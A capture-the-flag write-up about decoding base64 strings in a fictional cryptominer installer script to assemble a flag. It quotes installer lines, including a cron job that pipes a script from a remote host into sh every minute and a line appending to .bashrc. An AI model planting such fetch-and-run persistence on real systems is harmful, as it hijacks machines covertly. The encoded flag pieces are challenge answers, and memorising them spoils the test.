In the race for Vitalium on Mars, the villainous Board of Arodor resorted to desperate measures, needing funds for their mining attempts. They devised a botnet specifically crafted to mine cryptocurrency covertly. We stumbled upon a sample of Arodor’s miner’s installer on our server. Recognizing the gravity of the situation, we launched a thorough investigation. With you as its leader, you need to unravel the inner workings of the installation mechanism. The discovery served as a turning point, revealing the extent of Arodor’s desperation. However, the battle for Vitalium continued, urging us to remain vigilant and adapt our cyber defenses to counter future threats.

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The challenge shows a very long bash script which has some base64-encoded strings such as the ones below

local url=”http://tossacoin.htb/cGFydDI9Il90aDMxcl93NHkiCg==”

dest=$(echo “X3QwX200cnN9Cg==”|base64 -d)

echo “ZXhwb3J0IHBhcnQ0PSJfdGgzX3IzZF9wbDRuM3R9Ig==” | base64 -d >> /home/$USER/.bashrc

echo ‘* * * * * $LDR http://tossacoin.htb/ | sh & echo -n cGFydDE9IkhUQnttMW4xbmciCg==|base64 -d > /dev/null 2>&1’

All we have to do is to base64-decode those strings and gather the parts composing the final flag.

$ echo cGFydDI9Il90aDMxcl93NHkiCg== | base64 -d

$ echo “X3QwX200cnN9Cg==”|base64 -d

$ echo “ZXhwb3J0IHBhcnQ0PSJfdGgzX3IzZF9wbDRuM3R9Ig==” | base64 -d

$ echo -n cGFydDE9IkhUQnttMW4xbmciCg==|base64 -d

Final Flag


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